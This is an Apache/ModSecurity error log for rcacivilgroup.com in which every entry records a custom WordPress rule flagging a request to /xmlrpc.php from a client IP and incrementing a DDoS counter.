[Wed Apr 15 22:14:32.802714 2026] [:error] [pid 37370:tid 37395] [client 51.159.214.31:37162] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.214.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-dSHg-gnM2Ga0cGACRDgAAARc"]
[Wed Apr 15 22:16:16.749664 2026] [:error] [pid 30956:tid 30961] [client 45.227.163.112:47250] [client 45.227.163.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.227.163.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-dsEBGUpjaWntNYq2ZLQAAAAE"]
[Wed Apr 15 22:16:51.590318 2026] [:error] [pid 37370:tid 37393] [client 45.92.108.157:45740] [client 45.92.108.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.92.108.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-d03g-gnM2Ga0cGACR8gAAARU"]
[Wed Apr 15 22:17:15.255363 2026] [:error] [pid 30956:tid 30960] [client 103.85.84.51:34980] [client 103.85.84.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.85.84.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-d60BGUpjaWntNYq2ZTAAAAAA"]
[Wed Apr 15 22:19:47.671647 2026] [:error] [pid 31053:tid 31068] [client 20.237.8.18:16128] [client 20.237.8.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.237.8.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-egxcEkLCmvF0fjDclQgAAAIw"]
[Wed Apr 15 22:32:01.916281 2026] [:error] [pid 23913:tid 23917] [client 195.250.23.93:38426] [client 195.250.23.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.250.23.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-hYVUaK3MLdSaLOyjHHgAAAUI"]
[Wed Apr 15 22:32:08.236560 2026] [:error] [pid 23913:tid 23937] [client 46.224.56.168:37970] [client 46.224.56.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.224.56.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-haFUaK3MLdSaLOyjHdQAAAVY"]
[Wed Apr 15 22:32:14.409378 2026] [:error] [pid 30956:tid 30971] [client 46.246.39.245:44388] [client 46.246.39.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.246.39.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-hbkBGUpjaWntNYq2czAAAAAs"]
[Wed Apr 15 22:36:47.586800 2026] [:error] [pid 31053:tid 31079] [client 82.197.70.185:37848] [client 82.197.70.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.197.70.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-ifxcEkLCmvF0fjDcw1AAAAJc"]
[Wed Apr 15 22:37:20.457731 2026] [:error] [pid 37370:tid 37392] [client 5.189.168.141:52274] [client 5.189.168.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.189.168.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-ioHg-gnM2Ga0cGACYvAAAARQ"]
[Wed Apr 15 22:43:45.239647 2026] [:error] [pid 31053:tid 31068] [client 147.182.243.3:41140] [client 147.182.243.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.243.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-kIRcEkLCmvF0fjDczrAAAAIw"]
[Wed Apr 15 22:43:46.109525 2026] [:error] [pid 23913:tid 23915] [client 67.205.159.76:25462] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.159.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-kIlUaK3MLdSaLOyjL5gAAAUA"]
[Wed Apr 15 22:46:55.713565 2026] [:error] [pid 37370:tid 37373] [client 67.205.159.76:61750] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.159.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-k33g-gnM2Ga0cGACb7AAAAQE"]
[Wed Apr 15 22:54:26.926946 2026] [:error] [pid 30958:tid 31033] [client 54.37.239.214:59896] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-moseG3wSKTO7NWFHj3gAAANE"]
[Wed Apr 15 22:55:47.082816 2026] [:error] [pid 30958:tid 31019] [client 96.9.125.116:57618] [client 96.9.125.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.9.125.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-m88eG3wSKTO7NWFHkDQAAAMM"]
[Wed Apr 15 22:57:58.663325 2026] [:error] [pid 31053:tid 31070] [client 43.156.13.166:46956] [client 43.156.13.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.156.13.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-ndhcEkLCmvF0fjDc9QQAAAI4"]
[Wed Apr 15 23:03:13.814315 2026] [:error] [pid 37370:tid 37388] [client 52.7.119.212:55814] [client 52.7.119.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.7.119.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-osXg-gnM2Ga0cGACgAQAAARA"]
[Wed Apr 15 23:07:46.604813 2026] [:error] [pid 37370:tid 37374] [client 84.201.130.79:43700] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-pwng-gnM2Ga0cGAChzQAAAQI"]
[Wed Apr 15 23:08:16.981675 2026] [:error] [pid 30957:tid 31002] [client 217.154.102.39:34152] [client 217.154.102.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.102.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-p4H5gwVEVXHfVSiq90QAAAE0"]
[Wed Apr 15 23:11:39.876689 2026] [:error] [pid 31053:tid 31063] [client 77.68.115.185:57598] [client 77.68.115.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.68.115.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-qqxcEkLCmvF0fjDdEYQAAAIc"]
[Wed Apr 15 23:13:52.493680 2026] [:error] [pid 30958:tid 31024] [client 51.210.123.31:41782] [client 51.210.123.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.123.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-rMMeG3wSKTO7NWFHofwAAAMg"]
[Wed Apr 15 23:14:29.944629 2026] [:error] [pid 23913:tid 23935] [client 196.27.114.137:57476] [client 196.27.114.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.27.114.137, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-rVVUaK3MLdSaLOyjXdQAAAVQ"]
[Wed Apr 15 23:16:00.314736 2026] [:error] [pid 23913:tid 23921] [client 85.128.143.131:58602] [client 85.128.143.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-rsFUaK3MLdSaLOyjYWgAAAUY"]
[Wed Apr 15 23:18:39.873361 2026] [:error] [pid 31053:tid 31064] [client 172.176.155.194:47474] [client 172.176.155.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.176.155.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-sTxcEkLCmvF0fjDdIfgAAAIg"]
[Wed Apr 15 23:24:53.138889 2026] [:error] [pid 23913:tid 23936] [client 95.211.55.162:58476] [client 95.211.55.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.211.55.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-txVUaK3MLdSaLOyjbvAAAAVU"]
[Wed Apr 15 23:25:54.681619 2026] [:error] [pid 31053:tid 31073] [client 34.101.217.251:45580] [client 34.101.217.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.101.217.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-uAhcEkLCmvF0fjDdNJgAAAJE"]
[Wed Apr 15 23:30:37.186179 2026] [:error] [pid 31053:tid 31075] [client 103.80.48.225:40034] [client 103.80.48.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.80.48.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-vHRcEkLCmvF0fjDdRJAAAAJM"]
[Wed Apr 15 23:31:37.382664 2026] [:error] [pid 23913:tid 23927] [client 66.29.147.6:42240] [client 66.29.147.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.29.147.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-vWVUaK3MLdSaLOyjftAAAAUw"]
[Wed Apr 15 23:33:18.701845 2026] [:error] [pid 37370:tid 37388] [client 167.99.182.49:52426] [client 167.99.182.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.182.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-vvng-gnM2Ga0cGACp6wAAARA"]
[Wed Apr 15 23:34:58.462550 2026] [:error] [pid 23913:tid 23929] [client 212.7.160.134:43494] [client 212.7.160.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.7.160.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-wIlUaK3MLdSaLOyjhJgAAAU4"]
[Wed Apr 15 23:35:03.610040 2026] [:error] [pid 30958:tid 31019] [client 85.128.143.122:49296] [client 85.128.143.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.122, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-wJ8eG3wSKTO7NWFHuUAAAAMM"]
[Wed Apr 15 23:38:37.121458 2026] [:error] [pid 31053:tid 31075] [client 34.175.117.206:35818] [client 34.175.117.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.175.117.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-w_RcEkLCmvF0fjDdWKQAAAJM"]
[Wed Apr 15 23:38:44.121937 2026] [:error] [pid 31053:tid 31069] [client 52.178.68.120:54422] [client 52.178.68.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.178.68.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-xBBcEkLCmvF0fjDdWPgAAAI0"]
[Wed Apr 15 23:39:32.360887 2026] [:error] [pid 31053:tid 31068] [client 15.235.224.64:54906] [client 15.235.224.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.224.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-xNBcEkLCmvF0fjDdW_gAAAIw"]
[Wed Apr 15 23:47:16.494388 2026] [:error] [pid 23913:tid 23927] [client 23.98.148.92:50532] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-zBFUaK3MLdSaLOyjlZwAAAUw"]
[Wed Apr 15 23:47:41.915806 2026] [:error] [pid 23913:tid 23928] [client 20.163.27.0:40858] [client 20.163.27.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.163.27.0, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-zHVUaK3MLdSaLOyjlgQAAAU0"]
[Wed Apr 15 23:47:42.463364 2026] [:error] [pid 23913:tid 23915] [client 138.197.98.9:58916] [client 138.197.98.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.98.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-zHlUaK3MLdSaLOyjlggAAAUA"]
[Wed Apr 15 23:51:32.266723 2026] [:error] [pid 37370:tid 37383] [client 143.244.166.58:36898] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-0BHg-gnM2Ga0cGACvUQAAAQs"]
[Thu Apr 16 00:00:36.004233 2026] [:error] [pid 30956:tid 30983] [client 45.82.122.124:56150] [client 45.82.122.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.82.122.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-2JEBGUpjaWntNYq2rOQAAABc"]
[Thu Apr 16 00:02:44.897386 2026] [:error] [pid 23913:tid 23925] [client 138.201.172.7:36676] [client 138.201.172.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.201.172.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-2pFUaK3MLdSaLOyjq5wAAAUo"]
[Thu Apr 16 00:03:22.552359 2026] [:error] [pid 30957:tid 31013] [client 148.113.202.220:40696] [client 148.113.202.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.202.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-2yn5gwVEVXHfVSirKUQAAAFg"]
[Thu Apr 16 00:04:07.051842 2026] [:error] [pid 30957:tid 30997] [client 209.42.18.249:51544] [client 209.42.18.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.42.18.249, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-2935gwVEVXHfVSirKigAAAEg"]
[Thu Apr 16 00:06:29.298926 2026] [:error] [pid 30957:tid 31002] [client 85.214.232.59:34282] [client 85.214.232.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.232.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-3hX5gwVEVXHfVSirLgQAAAE0"]
[Thu Apr 16 00:07:46.930565 2026] [:error] [pid 30956:tid 30971] [client 5.196.202.32:36584] [client 5.196.202.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.196.202.32, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-30kBGUpjaWntNYq2s-gAAAAs"]
[Thu Apr 16 00:07:54.352933 2026] [:error] [pid 30956:tid 30980] [client 78.47.118.248:47972] [client 78.47.118.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.47.118.248, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-32kBGUpjaWntNYq2s_wAAABQ"]
[Thu Apr 16 00:10:13.828888 2026] [:error] [pid 23913:tid 23918] [client 147.135.255.201:53578] [client 147.135.255.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.135.255.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-4ZVUaK3MLdSaLOyju8AAAAUM"]
[Thu Apr 16 00:12:36.562408 2026] [:error] [pid 30958:tid 31018] [client 59.125.102.226:41218] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-49MeG3wSKTO7NWFH4hgAAAMI"]
[Thu Apr 16 00:15:05.679279 2026] [:error] [pid 31053:tid 31060] [client 51.159.142.108:45966] [client 51.159.142.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.142.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-5iRcEkLCmvF0fjDdsxAAAAIQ"]
[Thu Apr 16 00:19:50.736426 2026] [:error] [pid 23913:tid 23920] [client 5.78.105.82:59358] [client 5.78.105.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.78.105.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-6plUaK3MLdSaLOyjz8wAAAUU"]
[Thu Apr 16 00:25:01.046152 2026] [:error] [pid 37370:tid 37386] [client 90.28.198.206:51872] [client 90.28.198.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 90.28.198.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-73Xg-gnM2Ga0cGAC5dwAAAQ4"]
[Thu Apr 16 00:25:09.380975 2026] [:error] [pid 16664:tid 16723] [client 54.38.178.30:50840] [client 54.38.178.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.178.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-75Tdzt684awDJwRTDuwAAAYQ"]
[Thu Apr 16 00:28:14.095420 2026] [:error] [pid 30957:tid 30997] [client 109.123.220.11:41550] [client 109.123.220.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.123.220.11, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-8nn5gwVEVXHfVSirSdQAAAEg"]
[Thu Apr 16 00:28:25.575306 2026] [:error] [pid 30957:tid 30990] [client 161.35.47.44:59154] [client 161.35.47.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.47.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-8qX5gwVEVXHfVSirSjQAAAEE"]
[Thu Apr 16 00:31:39.775203 2026] [:error] [pid 16664:tid 16724] [client 52.7.119.212:45360] [client 52.7.119.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.7.119.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-9azdzt684awDJwRTH8AAAAYU"]
[Thu Apr 16 00:34:01.461829 2026] [:error] [pid 16664:tid 16719] [client 75.127.14.16:49660] [client 75.127.14.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 75.127.14.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-9-Tdzt684awDJwRTKHQAAAYA"]
[Thu Apr 16 00:38:38.387683 2026] [:error] [pid 37370:tid 37381] [client 157.66.27.22:52374] [client 157.66.27.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-_Dng-gnM2Ga0cGAC8aAAAAQk"]
[Thu Apr 16 00:41:33.177694 2026] [:error] [pid 31053:tid 31066] [client 146.190.84.203:51358] [client 146.190.84.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.84.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-_vRcEkLCmvF0fjDd3DQAAAIo"]
